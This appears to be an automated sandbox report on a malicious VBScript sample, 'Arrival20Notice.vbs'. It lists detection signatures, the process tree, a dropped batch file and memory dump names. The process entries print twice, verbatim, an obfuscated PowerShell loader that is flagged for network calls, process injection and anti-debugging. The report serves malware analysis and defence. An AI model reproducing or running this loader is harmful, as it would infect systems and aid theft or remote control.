Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
22/06/2026, 18:16
General
- Target Arrival20Notice.vbs
- Size 94KB
- Sample260622-wwtrpse18l
- SHA256 9d6bcb61cb8340e7a90550120b633650370f990f67bddd191b36713d7ebca7e4
Malware Config
Signatures
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Arrival20Notice.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Allum_8888.8888.8888.657e2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'resinifluous' 'mirvs' 'spydspidser';function glancer ($sslangers,$mikrometer) {$johs=repressionens(@(107,229,232,218,197,221,215,202,228,212,161,203,231,221,215,154,107,223,222,217,214,222,221,202,230,198,230,146)) ;hulledame ($johs)}function repressionens ($mikrometerider) { $exhibitionism=-8085+8085;do {$mikrometerider[$exhibitionism] = $mikrometerider[$exhibitionism] - $distincter[$exhibitionism%16];$megarianism+=[char]$mikrometerider[$exhibitionism];$exhibitionism++} while ($mikrometerider[$exhibitionism])$megarianism}function hulledame ($reconduct) {&($noneffusively) $reconduct}Function shrog ($mikrometerider,$nonvegetable=0){$kirketidernes=repressionens(@(107,229,216,224,205,223,228,159,212,194,213,215,211,225,208,219,173,230,218,224,210,212,227,162,205,164,227,215,229,211,215,230,164,172,175,180,214,222,221,167,211,212,217,159,163,193,217,228,176,224,220,150,136,220,217,208,228,208,225,206,227,211,215,219,171,215,231,151));hulledame ($kirketidernes);For($preinhere=0; $baandskifternes[$preinhere] -ne $printersekvenser; $preinhere++){$baandskifternes[$preinhere] = glancer $baandskifternes[$preinhere] $distincter[$preinhere%16]}$unbreached=repressionens(@(107,217,225,221,198,208,220,159,233,214,230,221,233,215,209,219,187,215,178,155,206,222,217,211,146,188,215,209,208,224,192,207,164,150,215,207,197,221,212,216,221,202,218,221,212,224,211,215,186));hulledame ($unbreached);if ($nonvegetable) { hulledame $wurtzilite}else {;$wurtzilite}}$distincter=@(71,114,117,110,100,111,112,101,114,97,116,105,111,110,101,114);$noneffusively=repressionens @(144,183,205);$jake='\Bestyrelsesmedlemmer.Bat';$debtor=shrog 'clxFTkw4GQsWDgMaTyAxUnZCW15fTycMHFdAUk8WU0Z8UgcYXl5FVVxRXUkoCwYZKF1HXlVfQFRCUFQvBhwAFCgKWl9RX15V';$vddende=shrog 'LwYBHhdVX0oWEx0fCkACHSgVGQtKDB8IXRQXVgoWFR01BkgKCxgeCR0AEE8GClhDBUIlCSwZIiILOyAAJlwgCgI1PCMOLkkgBC0TGhVWH0c=';$preinherenternationaliseredes=shrog 'eQ==';shrog 'YxUZAQYOHF8CDRUdBgAMCCIBSEoBAQZfExEEDQ4aBFljGBQFAQ==' 1;shrog 'YxUZAQYOHF8WBBcMARoXEysbBgsWBh4CFxMaDFJKExYjFxsKAUEDFR4IAEFLHhcXLhwdCxYKHhEXExoIGwcKHCYeHB0BHRUBFxJd' 1;shrog 'HDwQGko8FRcECBcMPwEMHDM/FAAFCBUXL1tOOgoNEAAuBgw+FgAEChEOGFRcXlJA' 1;$vddende=$decentraliseringerne[0];$underdnningers=(shrog 'YxUZAQYOHF8fBBgADQcKASJPOwsTQj8HGAQXHU8gAAZpJRAMJwMZABwV');hulledame ($underdnningers);shrog 'Yx8QAg0NGQoBBFohCg8BFzUBLjUqCgRLOhUAGT0LFAciAQEmAQ4UAAA8QFkyU0EWIhABARY=' 1;$sslangersgerkaal=shrog 'Ax0CAAgAEQE0CBgM';$nonimmunity=shrog 'Yx8QAg0NGQoBBFpNHB0JEykVEBwXCBUXGQAVBUEnCwQoGRBGQBkUARcPEAxDShcdIhwBCQEBGR8XSA==';$roentgenize=$platinizes;shrog 'YxUZAQYOHF8QABoCCwcXFywGB1NMOxUWBkwkCBsGRVY1HRAAEAgVCxsbEUA=' 1;while (!$bankdirektr) {shrog 'YxUZAQYOHF81CRUTBlNBBjUHEA==' 1;hulledame $nonimmunity;shrog 'FB4QCxRHREw=' 1;shrog 'YxUZAQYOHF8QABoCCwcXFywGB1NMOxUWBkwkCBsGRVY1HRAAEAgVCxsbEUA=' 1 ;shrog 'YxUZAQYOHF8XDwcACwcCFzRPUQkIABIEHlsVDxwBC1lsV1EKAQwVCwYTFQUGHQAALhwSCxYBFUsRDgEHGw==' 1;$vddende=$decentraliseringerne[$ensidiges]}$sslangersrmqeens112=151604;$kyllingehusene=19235;shrog 'YxUZAQYOHF8GCBgFDgkAAXoVFk5AHR8AHBUTDAEHHxc=' 1;shrog 'YxUZAQYOHF8hDxsbGwcLFSsLQVlZNDMKHBcRGxszX0gBABoDJg4DAERVJx0dBwsVb1YBBwgDEQIXEl0=' 1;shrog 'YxUZAQYOHF8QCAAaGwELF3opIQscG14gHAIbDQYAAi99SDQ9JyY5SzUEADobHAwcIFpRPQoAAhEbDxMFFlpSWw==' 1;shrog 'YxUZAQYOHF8GABkAA1NBEC4GBhoLARVLARQWGhscDBwgWlEdFwMRCxUEBhodAxQXIhwGX1VdXEEZGBgFBgACFy8HBgsKClk=' 1;hulledame $tamil;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'resinifluous' 'mirvs' 'spydspidser';function glancer ($sslangers,$mikrometer) {$johs=repressionens(@(107,229,232,218,197,221,215,202,228,212,161,203,231,221,215,154,107,223,222,217,214,222,221,202,230,198,230,146)) ;hulledame ($johs)}function repressionens ($mikrometerider) { $exhibitionism=-8085+8085;do {$mikrometerider[$exhibitionism] = $mikrometerider[$exhibitionism] - $distincter[$exhibitionism%16];$megarianism+=[char]$mikrometerider[$exhibitionism];$exhibitionism++} while ($mikrometerider[$exhibitionism])$megarianism}function hulledame ($reconduct) {&($noneffusively) $reconduct}Function shrog ($mikrometerider,$nonvegetable=0){$kirketidernes=repressionens(@(107,229,216,224,205,223,228,159,212,194,213,215,211,225,208,219,173,230,218,224,210,212,227,162,205,164,227,215,229,211,215,230,164,172,175,180,214,222,221,167,211,212,217,159,163,193,217,228,176,224,220,150,136,220,217,208,228,208,225,206,227,211,215,219,171,215,231,151));hulledame ($kirketidernes);For($preinhere=0; $baandskifternes[$preinhere] -ne $printersekvenser; $preinhere++){$baandskifternes[$preinhere] = glancer $baandskifternes[$preinhere] $distincter[$preinhere%16]}$unbreached=repressionens(@(107,217,225,221,198,208,220,159,233,214,230,221,233,215,209,219,187,215,178,155,206,222,217,211,146,188,215,209,208,224,192,207,164,150,215,207,197,221,212,216,221,202,218,221,212,224,211,215,186));hulledame ($unbreached);if ($nonvegetable) { hulledame $wurtzilite}else {;$wurtzilite}}$distincter=@(71,114,117,110,100,111,112,101,114,97,116,105,111,110,101,114);$noneffusively=repressionens @(144,183,205);$jake='\Bestyrelsesmedlemmer.Bat';$debtor=shrog 'clxFTkw4GQsWDgMaTyAxUnZCW15fTycMHFdAUk8WU0Z8UgcYXl5FVVxRXUkoCwYZKF1HXlVfQFRCUFQvBhwAFCgKWl9RX15V';$vddende=shrog 'LwYBHhdVX0oWEx0fCkACHSgVGQtKDB8IXRQXVgoWFR01BkgKCxgeCR0AEE8GClhDBUIlCSwZIiILOyAAJlwgCgI1PCMOLkkgBC0TGhVWH0c=';$preinherenternationaliseredes=shrog 'eQ==';shrog 'YxUZAQYOHF8CDRUdBgAMCCIBSEoBAQZfExEEDQ4aBFljGBQFAQ==' 1;shrog 'YxUZAQYOHF8WBBcMARoXEysbBgsWBh4CFxMaDFJKExYjFxsKAUEDFR4IAEFLHhcXLhwdCxYKHhEXExoIGwcKHCYeHB0BHRUBFxJd' 1;shrog 'HDwQGko8FRcECBcMPwEMHDM/FAAFCBUXL1tOOgoNEAAuBgw+FgAEChEOGFRcXlJA' 1;$vddende=$decentraliseringerne[0];$underdnningers=(shrog 'YxUZAQYOHF8fBBgADQcKASJPOwsTQj8HGAQXHU8gAAZpJRAMJwMZABwV');hulledame ($underdnningers);shrog 'Yx8QAg0NGQoBBFohCg8BFzUBLjUqCgRLOhUAGT0LFAciAQEmAQ4UAAA8QFkyU0EWIhABARY=' 1;$sslangersgerkaal=shrog 'Ax0CAAgAEQE0CBgM';$nonimmunity=shrog 'Yx8QAg0NGQoBBFpNHB0JEykVEBwXCBUXGQAVBUEnCwQoGRBGQBkUARcPEAxDShcdIhwBCQEBGR8XSA==';$roentgenize=$platinizes;shrog 'YxUZAQYOHF8QABoCCwcXFywGB1NMOxUWBkwkCBsGRVY1HRAAEAgVCxsbEUA=' 1;while (!$bankdirektr) {shrog 'YxUZAQYOHF81CRUTBlNBBjUHEA==' 1;hulledame $nonimmunity;shrog 'FB4QCxRHREw=' 1;shrog 'YxUZAQYOHF8QABoCCwcXFywGB1NMOxUWBkwkCBsGRVY1HRAAEAgVCxsbEUA=' 1 ;shrog 'YxUZAQYOHF8XDwcACwcCFzRPUQkIABIEHlsVDxwBC1lsV1EKAQwVCwYTFQUGHQAALhwSCxYBFUsRDgEHGw==' 1;$vddende=$decentraliseringerne[$ensidiges]}$sslangersrmqeens112=151604;$kyllingehusene=19235;shrog 'YxUZAQYOHF8GCBgFDgkAAXoVFk5AHR8AHBUTDAEHHxc=' 1;shrog 'YxUZAQYOHF8hDxsbGwcLFSsLQVlZNDMKHBcRGxszX0gBABoDJg4DAERVJx0dBwsVb1YBBwgDEQIXEl0=' 1;shrog 'YxUZAQYOHF8QCAAaGwELF3opIQscG14gHAIbDQYAAi99SDQ9JyY5SzUEADobHAwcIFpRPQoAAhEbDxMFFlpSWw==' 1;shrog 'YxUZAQYOHF8GABkAA1NBEC4GBhoLARVLARQWGhscDBwgWlEdFwMRCxUEBhodAxQXIhwGX1VdXEEZGBgFBgACFy8HBgsKClk=' 1;hulledame $tamil;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Bestyrelsesmedlemmer.Bat
memory/1520-39-0x0000000008230000-0x00000000087EA000-memory.dmp
memory/1520-33-0x0000000005DD0000-0x0000000005E1C000-memory.dmp
memory/1520-37-0x0000000007050000-0x00000000070E6000-memory.dmp
memory/1520-38-0x0000000006FF0000-0x0000000007012000-memory.dmp
memory/1520-35-0x00000000075F0000-0x0000000007C6C000-memory.dmp
memory/1520-36-0x00000000062E0000-0x00000000062FA000-memory.dmp
memory/1520-41-0x00000000087F0000-0x000000000BEF8000-memory.dmp
memory/1520-24-0x0000000005090000-0x00000000056DA000-memory.dmp
memory/1520-32-0x0000000005D90000-0x0000000005DAE000-memory.dmp
memory/1520-23-0x0000000002540000-0x0000000002576000-memory.dmp
memory/1520-30-0x0000000005870000-0x0000000005BCB000-memory.dmp
memory/1520-26-0x00000000056E0000-0x0000000005746000-memory.dmp
memory/1520-27-0x0000000005750000-0x00000000057B6000-memory.dmp
memory/1520-25-0x0000000004FC0000-0x0000000004FE2000-memory.dmp
memory/3516-43-0x0000000000E30000-0x0000000002116000-memory.dmp
memory/6112-10-0x00007FF955780000-0x00007FF956124000-memory.dmp
memory/6112-22-0x00007FF955780000-0x00007FF956124000-memory.dmp
memory/6112-18-0x00007FF955780000-0x00007FF956124000-memory.dmp
memory/6112-16-0x00007FF955780000-0x00007FF956124000-memory.dmp
memory/6112-15-0x00007FF955780000-0x00007FF956124000-memory.dmp
memory/6112-14-0x00007FF955780000-0x00007FF956124000-memory.dmp
memory/6112-13-0x00007FF955780000-0x00007FF956124000-memory.dmp
memory/6112-12-0x00007FF955780000-0x00007FF956124000-memory.dmp
memory/6112-11-0x00007FF955780000-0x00007FF956124000-memory.dmp
memory/6112-0-0x00007FF95590F000-0x00007FF955910000-memory.dmp
memory/6112-9-0x00007FF955780000-0x00007FF956124000-memory.dmp
memory/6112-8-0x00007FF955780000-0x00007FF956124000-memory.dmp
memory/6112-6-0x00007FF955780000-0x00007FF956124000-memory.dmp
memory/6112-7-0x00007FF955780000-0x00007FF956124000-memory.dmp
memory/6112-2-0x0000020431310000-0x0000020431332000-memory.dmp
memory/6112-3-0x00007FF955780000-0x00007FF956124000-memory.dmp
memory/6112-1-0x00007FF955780000-0x00007FF956124000-memory.dmp